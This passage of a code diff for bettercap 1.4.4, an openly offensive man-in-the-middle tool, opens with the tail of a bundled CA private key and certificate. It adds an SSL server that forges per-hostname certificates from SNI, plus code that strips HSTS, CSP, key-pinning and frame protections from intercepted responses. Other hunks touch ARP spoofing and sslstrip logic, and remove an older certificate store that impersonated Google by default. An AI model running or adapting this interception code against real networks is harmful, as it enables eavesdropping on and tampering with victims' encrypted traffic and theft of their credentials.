jxcCykm6ir/eo3M+4Yo9pOwsIvg9foOw7ahEVSB7nAZB9J2ohbCFfG7sFhKKgWFT
|
7
|
+
xKBiEHny8qaD1/16FID/SZVXhFjjK2n8Gd87cIk104392H/MQVWui9rkocwszCov
|
8
|
+
jFVOnlhjAgMBAAECggEAAM/Ivc1wpA45q5jMQY3OM2BhdeJf5oRKhp63jNmpshZf
|
9
|
+
STF7ePKCUBNJAQhPl8NvtqY8Bs0FsEHD/Wxg0Y7aJ+3W+X/t01NPAJpBSS/3EJTl
|
10
|
+
ogv2TiyxSCmAr033zSCR1eiidE2R0Wx59strhSYDtJ8V6Q7F5TIdL9/6d8RScx53
|
11
|
+
xT/efogV3ebmXNhOOG6FrjQ5uCW7KZUXRaL3nozhEldFpzjak1XKVgKLv7OBaLwI
|
12
|
+
tCgVGkfJpZbTYV2sht32JAwkEyTPtS8/49A4RRu5c62pLiDK5TkQGxtBLBpBTFoi
|
13
|
+
f95LeqyApRDR5zTeP8uvHyK/Of5YBLJljkx+YDYugQKBgQDJN4KXOhV4DGVvriwA
|
14
|
+
RBEd5nNJ/t/MATcGrFX4uqApdsMux9cpRaNa1hRxn2icm/whHrOFaBROAB7L6Zd4
|
15
|
+
uLnrzpwFTq9YMH4AXe+sPphAtuk7ZULj1qkZ3yOjiKAJcJ4LWUxQ3H32KU6GIu+e
|
16
|
+
x/e+B95pmk+s9XKajMSkKaMkWwKBgQDEu4fzhRyVvntq1s6D5R9du9eRV/6E5hLs
|
17
|
+
gylMx8smzHQ46Ef5df5uEJUfkzyCJmOMGpKAW5czsLgKkx05Xw97xwn++/9lhHas
|
18
|
+
E4SFArrIkAvBmiM44fZSKY3sVUWAHKYJy+Lg/7SR4cFVOxRyYhrFLjeXb9mOEdTo
|
19
|
+
a6xmM3M6mQKBgDRpqDOaJqN5nyaDGOUM1eSS9a7tm//4xQuQ8mfyvOtwCxFxbqNK
|
20
|
+
h22O3A5otogsvXUnGR4D6V4T+/GjrBf/DjbVP6DGSThQkVGpJlgYifI5cvFMxCqy
|
21
|
+
7KNXk2HyobUzx4cvQIjDlm/7fH/GM+KJNggi5pVdY6mq2apWRpZ4Xg2HAoGBAJOs
|
22
|
+
WQ6Yuq5Ev4uhFn+2+2Z23AeDz8+ejFHw2o2B46KKEiutYGmHAqdH10hOUzs26b5/
|
23
|
+
K70iA0uPuXZmm6c3Df5Rl9VI/5sKZbIhLHZTaDWouspmk03df/KIsrnWAEd8Ob5c
|
24
|
+
xz8xci+XEHKT2HNL5OBiIuSP1vRnujOEr3I/6JzxAoGBAJlu4gjm8StuL5ALy43a
|
25
|
+
K62Nrsio/RhPjVUKXMtzTOgf2f2mRn04YibRNbB5Gzum4oWkjyue7qhBjIt/FX1Z
|
26
|
+
kecFhr5JG4u/yyR6R2BMw4Jvh9kV6Y/GnDpSga8sK2P3QKFD01Qtw72x5xCj94CL
|
27
|
+
kWqGcTRdiMAWQsRKvndzWAMc
|
28
|
+
-----END PRIVATE KEY-----
|
29
|
+
-----BEGIN CERTIFICATE-----
|
30
|
+
MIIDZzCCAk+gAwIBAgIJANKD84I3l13QMA0GCSqGSIb3DQEBCwUAMEoxCzAJBgNV
|
31
|
+
BAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQKDAliZXR0ZXJjYXAx
|
32
|
+
EjAQBgNVBAMMCWJldHRlcmNhcDAeFw0xNjAyMjMwMTAxNTlaFw0xNzAyMjIwMTAx
|
33
|
+
NTlaMEoxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQK
|
34
|
+
DAliZXR0ZXJjYXAxEjAQBgNVBAMMCWJldHRlcmNhcDCCASIwDQYJKoZIhvcNAQEB
|
35
|
+
BQADggEPADCCAQoCggEBAJqh5mPbHuFjhFUvhLoXoZ+wQDJ7X+tOK9dAIGwQx0GJ
|
36
|
+
88UJbPiLWzm/UJvE7jHh1+C0mJWeIbIyydClY6xn+SO3vgUjOADYDtFOzPr6O/EW
|
37
|
+
fDy40fZS8cCVd6umCEHDsXjodMpvt88aVch4ytd3tJD1+ic0zV9DQvfv4gsBpkgh
|
38
|
+
eObdszspa4zv7yqvZvEvE/0DW53mu44s0X6PFwLKSbqKv96jcz7hij2k7Cwi+D1+
|
39
|
+
g7DtqERVIHucBkH0naiFsIV8buwWEoqBYVPEoGIQefLypoPX/XoUgP9JlVeEWOMr
|
40
|
+
afwZ3ztwiTXTjf3Yf8xBVa6L2uShzCzMKi+MVU6eWGMCAwEAAaNQME4wHQYDVR0O
|
41
|
+
BBYEFBspFbBsNWr57dZicWMDjOaRxQoPMB8GA1UdIwQYMBaAFBspFbBsNWr57dZi
|
42
|
+
cWMDjOaRxQoPMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJXGBH8H
|
43
|
+
DKttB8KIbFzVRVcBQ5Wvw+3oFVlmnotQuxz17fGr2ZXEPiY8/P89MgAUqVkiaIS5
|
44
|
+
EZOnIfPu7icGWvT0N3eoxnLaTdCFy0NOHXJh2+zrav5FWsULsmSxOBxItvkxq0fN
|
45
|
+
yk1P/5kLmrJKnKUJKH7QDjNeEqJdfSx+dg2435a5pcvrVfjCGrd8F8CIED6sYd0n
|
46
|
+
pibpJXi8TILiPrjNhTWT2Y5XflfV3Ho/+jIbeY3wzsApwsBINy0ticABdPhtEGHk
|
47
|
+
nkR6dqDv1rSuzify5OdYeLy/UX4R/vv1BS0PLScE1lUB16ybzJ2imWJgOQs6J4E6
|
48
|
+
hHakJaVPVAPFWUU=
|
49
|
+
-----END CERTIFICATE-----
|
@@ -0,0 +1,61 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Proxy
|
16
|
+
module SSL
|
17
|
+
|
18
|
+
# Little utility class to handle SSLServer creation.
|
19
|
+
class Server
|
20
|
+
# The SSL certification authority.
|
21
|
+
attr_reader :authority
|
22
|
+
# Main SSLContext instance.
|
23
|
+
attr_reader :context
|
24
|
+
# Socket I/O object.
|
25
|
+
attr_reader :io
|
26
|
+
|
27
|
+
# Create an instance from the TCPSocket +socket+.
|
28
|
+
def initialize( socket )
|
29
|
+
@authority = Context.get.authority
|
30
|
+
@context = OpenSSL::SSL::SSLContext.new
|
31
|
+
@context.cert = @authority.certificate
|
32
|
+
@context.key = @authority.key
|
33
|
+
|
34
|
+
# If the client supports SNI ( https://en.wikipedia.org/wiki/Server_Name_Indication )
|
35
|
+
# we'll receive the hostname it wants to connect to in this callback.
|
36
|
+
# Use the CA we already have loaded ( or generated ) to sign a new
|
37
|
+
# certificate at runtime with the correct 'Common Name' and create a new SSL
|
38
|
+
# context with it, these are the steps:
|
39
|
+
#
|
40
|
+
# 1. Get hostname from SNI.
|
41
|
+
# 2. Fetch upstream certificate from the real server.
|
42
|
+
# 3. Resign it with our own CA.
|
43
|
+
# 4. Create a new context with the new spoofed certificate.
|
44
|
+
# 5. Profit ^_^
|
45
|
+
@context.servername_cb = proc { |sslsocket, hostname|
|
46
|
+
Logger.debug "[#{'SSL'.green}] Server-Name-Indication for '#{hostname}'"
|
47
|
+
|
48
|
+
ctx = OpenSSL::SSL::SSLContext.new
|
49
|
+
ctx.cert = @authority.spoof( hostname )
|
50
|
+
ctx.key = @authority.key
|
51
|
+
|
52
|
+
ctx
|
53
|
+
}
|
54
|
+
|
55
|
+
@io = OpenSSL::SSL::SSLServer.new( socket, @context )
|
56
|
+
end
|
57
|
+
end
|
58
|
+
|
59
|
+
end
|
60
|
+
end
|
61
|
+
end
|
@@ -10,22 +10,21 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require 'bettercap/logger'
|
14
13
|
|
15
14
|
module BetterCap
|
16
15
|
module Proxy
|
17
16
|
# Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
|
18
17
|
class Streamer
|
19
18
|
# Initialize the class with the given +processor+ routine.
|
20
|
-
def initialize( processor )
|
19
|
+
def initialize( processor, sslstrip )
|
21
20
|
@processor = processor
|
22
21
|
@ctx = Context.get
|
23
|
-
@sslstrip = SSLStrip::Strip.new( @ctx ) if
|
22
|
+
@sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
|
24
23
|
end
|
25
24
|
|
26
25
|
# Return true if the +request+ was stripped.
|
27
26
|
def was_stripped?(request, client)
|
28
|
-
if @
|
27
|
+
if @sslstrip
|
29
28
|
request.client, _ = get_client_details( client )
|
30
29
|
return @sslstrip.was_stripped?(request)
|
31
30
|
end
|
@@ -50,7 +49,7 @@ class Streamer
|
|
50
49
|
|
51
50
|
begin
|
52
51
|
r = nil
|
53
|
-
if @
|
52
|
+
if @sslstrip
|
54
53
|
r = @sslstrip.preprocess( request )
|
55
54
|
end
|
56
55
|
|
@@ -69,7 +68,7 @@ class Streamer
|
|
69
68
|
Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
|
70
69
|
end
|
71
70
|
|
72
|
-
if @
|
71
|
+
if @sslstrip
|
73
72
|
# do we need to retry the request?
|
74
73
|
if @sslstrip.process( request, response ) == true
|
75
74
|
# https redirect loop?
|
@@ -81,6 +80,9 @@ class Streamer
|
|
81
80
|
end
|
82
81
|
end
|
83
82
|
|
83
|
+
# Strip out a few security headers.
|
84
|
+
strip_security( response )
|
85
|
+
|
84
86
|
# call modules on_request
|
85
87
|
@processor.call( request, response )
|
86
88
|
|
@@ -93,6 +95,34 @@ class Streamer
|
|
93
95
|
|
94
96
|
private
|
95
97
|
|
98
|
+
# List of security headers to remove/patch from any response.
|
99
|
+
# Thanks to Mazin Ahmed ( @mazen160 )
|
100
|
+
SECURITY_HEADERS = {
|
101
|
+
'X-Frame-Options' => nil,
|
102
|
+
'X-Content-Type-Options' => nil,
|
103
|
+
'Strict-Transport-Security' => nil,
|
104
|
+
'X-WebKit-CSP' => nil,
|
105
|
+
'Public-Key-Pins' => nil,
|
106
|
+
'Public-Key-Pins-Report-Only' => nil,
|
107
|
+
'X-Content-Security-Policy' => nil,
|
108
|
+
'Content-Security-Policy-Report-Only' => nil,
|
109
|
+
'Content-Security-Policy' => nil,
|
110
|
+
'X-Download-Options' => nil,
|
111
|
+
'X-Permitted-Cross-Domain-Policies' => nil,
|
112
|
+
'Allow-Access-From-Same-Origin' => '*',
|
113
|
+
'Access-Control-Allow-Origin' => '*',
|
114
|
+
'Access-Control-Allow-Methods' => '*',
|
115
|
+
'Access-Control-Allow-Headers' => '*',
|
116
|
+
'X-Xss-Protection' => '0'
|
117
|
+
}.freeze
|
118
|
+
|
119
|
+
# Strip out a few security headers from +response+.
|
120
|
+
def strip_security( response )
|
121
|
+
SECURITY_HEADERS.each do |name,value|
|
122
|
+
response[name] = value
|
123
|
+
end
|
124
|
+
end
|
125
|
+
|
96
126
|
# Return the +client+ ip address and port.
|
97
127
|
def get_client_details( client )
|
98
128
|
_, client_port, _, client_ip = client.peeraddr
|
data/lib/bettercap/shell.rb
CHANGED
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require 'bettercap/logger'
|
14
|
-
require 'colorize'
|
15
|
-
require 'packetfu'
|
16
13
|
|
17
14
|
module BetterCap
|
18
15
|
# Class responsible of loading BetterCap::Parsers instances and performing
|
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require 'bettercap/spoofers/base'
|
14
13
|
|
15
14
|
module BetterCap
|
16
15
|
module Spoofers
|
@@ -81,7 +80,7 @@ class Arp < Base
|
|
81
80
|
|
82
81
|
@ctx.targets.each do |target|
|
83
82
|
unless target.ip.nil? or target.mac.nil?
|
84
|
-
5.times do
|
83
|
+
5.times do
|
85
84
|
spoof(target)
|
86
85
|
sleep 0.3
|
87
86
|
end
|
@@ -10,11 +10,6 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require 'bettercap/version'
|
14
|
-
require 'bettercap/error'
|
15
|
-
require 'bettercap/logger'
|
16
|
-
require 'net/http'
|
17
|
-
require 'json'
|
18
13
|
|
19
14
|
module BetterCap
|
20
15
|
# This class is responsible for fetching the latest version of
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.4.
|
15
|
+
VERSION = '1.4.4'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.4.
|
4
|
+
version: 1.4.4
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-02-
|
11
|
+
date: 2016-02-24 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -134,7 +134,9 @@ files:
|
|
134
134
|
- lib/bettercap/loader.rb
|
135
135
|
- lib/bettercap/logger.rb
|
136
136
|
- lib/bettercap/monkey/celluloid/io/udp_socket.rb
|
137
|
+
- lib/bettercap/monkey/openssl/server.rb
|
137
138
|
- lib/bettercap/monkey/packetfu/utils.rb
|
139
|
+
- lib/bettercap/monkey/system.rb
|
138
140
|
- lib/bettercap/network/arp_reader.rb
|
139
141
|
- lib/bettercap/network/hw-prefixes
|
140
142
|
- lib/bettercap/network/network.rb
|
@@ -150,7 +152,6 @@ files:
|
|
150
152
|
- lib/bettercap/network/target.rb
|
151
153
|
- lib/bettercap/network/validator.rb
|
152
154
|
- lib/bettercap/options.rb
|
153
|
-
- lib/bettercap/proxy/certstore.rb
|
154
155
|
- lib/bettercap/proxy/module.rb
|
155
156
|
- lib/bettercap/proxy/modules/injectcss.rb
|
156
157
|
- lib/bettercap/proxy/modules/injecthtml.rb
|
@@ -158,6 +159,9 @@ files:
|
|
158
159
|
- lib/bettercap/proxy/proxy.rb
|
159
160
|
- lib/bettercap/proxy/request.rb
|
160
161
|
- lib/bettercap/proxy/response.rb
|
162
|
+
- lib/bettercap/proxy/ssl/authority.rb
|
163
|
+
- lib/bettercap/proxy/ssl/bettercap-ca.pem
|
164
|
+
- lib/bettercap/proxy/ssl/server.rb
|
161
165
|
- lib/bettercap/proxy/sslstrip/cookiemonitor.rb
|
162
166
|
- lib/bettercap/proxy/sslstrip/lock.ico
|
163
167
|
- lib/bettercap/proxy/sslstrip/strip.rb
|
@@ -1,75 +0,0 @@
|
|
1
|
-
# encoding: UTF-8
|
2
|
-
=begin
|
3
|
-
|
4
|
-
BETTERCAP
|
5
|
-
|
6
|
-
Author : Simone 'evilsocket' Margaritelli
|
7
|
-
Email : evilsocket@gmail.com
|
8
|
-
Blog : http://www.evilsocket.net/
|
9
|
-
|
10
|
-
This project is released under the GPL 3 license.
|
11
|
-
|
12
|
-
=end
|
13
|
-
require 'bettercap/logger'
|
14
|
-
require 'openssl'
|
15
|
-
|
16
|
-
module BetterCap
|
17
|
-
module Proxy
|
18
|
-
# Class responsible of handling digital certificate loading or on the fly
|
19
|
-
# creation.
|
20
|
-
class CertStore
|
21
|
-
@@selfsigned = {}
|
22
|
-
@@frompems = {}
|
23
|
-
|
24
|
-
# Load a certificate from the +filename+ file and return an
|
25
|
-
# OpenSSL::X509::Certificate instance for it.
|
26
|
-
def self.from_file( filename )
|
27
|
-
unless @@frompems.has_key? filename
|
28
|
-
Logger.info "Loading self signed HTTPS certificate from '#{filename}' ..."
|
29
|
-
|
30
|
-
pem = File.read filename
|
31
|
-
|
32
|
-
@@frompems[filename] = { :cert => OpenSSL::X509::Certificate.new(pem), :key => OpenSSL::PKey::RSA.new(pem) }
|
33
|
-
end
|
34
|
-
|
35
|
-
@@frompems[filename]
|
36
|
-
end
|
37
|
-
|
38
|
-
# Create a self signed digital certificate using the specified +subject+ string.
|
39
|
-
# Will return a OpenSSL::X509::Certificate instance.
|
40
|
-
def self.get_selfsigned( subject = '/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com' )
|
41
|
-
unless @@selfsigned.has_key? subject
|
42
|
-
Logger.info "Generating self signed HTTPS certificate for subject '#{subject}' ..."
|
43
|
-
|
44
|
-
key = OpenSSL::PKey::RSA.new(2048)
|
45
|
-
public_key = key.public_key
|
46
|
-
|
47
|
-
cert = OpenSSL::X509::Certificate.new
|
48
|
-
cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject)
|
49
|
-
cert.not_before = Time.now
|
50
|
-
cert.not_after = Time.now + 365 * 24 * 60 * 60
|
51
|
-
cert.public_key = public_key
|
52
|
-
cert.serial = 0x0
|
53
|
-
cert.version = 2
|
54
|
-
|
55
|
-
ef = OpenSSL::X509::ExtensionFactory.new
|
56
|
-
ef.subject_certificate = cert
|
57
|
-
ef.issuer_certificate = cert
|
58
|
-
cert.extensions = [
|
59
|
-
ef.create_extension("basicConstraints","CA:TRUE", true),
|
60
|
-
ef.create_extension("subjectKeyIdentifier", "hash"),
|
61
|
-
ef.create_extension("keyUsage", "cRLSign,keyCertSign", true),
|
62
|
-
]
|
63
|
-
cert.add_extension ef.create_extension("authorityKeyIdentifier",
|
64
|
-
"keyid:always,issuer:always")
|
65
|
-
|
66
|
-
cert.sign key, OpenSSL::Digest::SHA256.new
|
67
|
-
|
68
|
-
@@selfsigned[subject] = { :cert => cert, :key => key }
|
69
|
-
end
|
70
|
-
|
71
|
-
@@selfsigned[subject]
|
72
|
-
end
|
73
|
-
end
|
74
|
-
end
|
75
|
-
end
|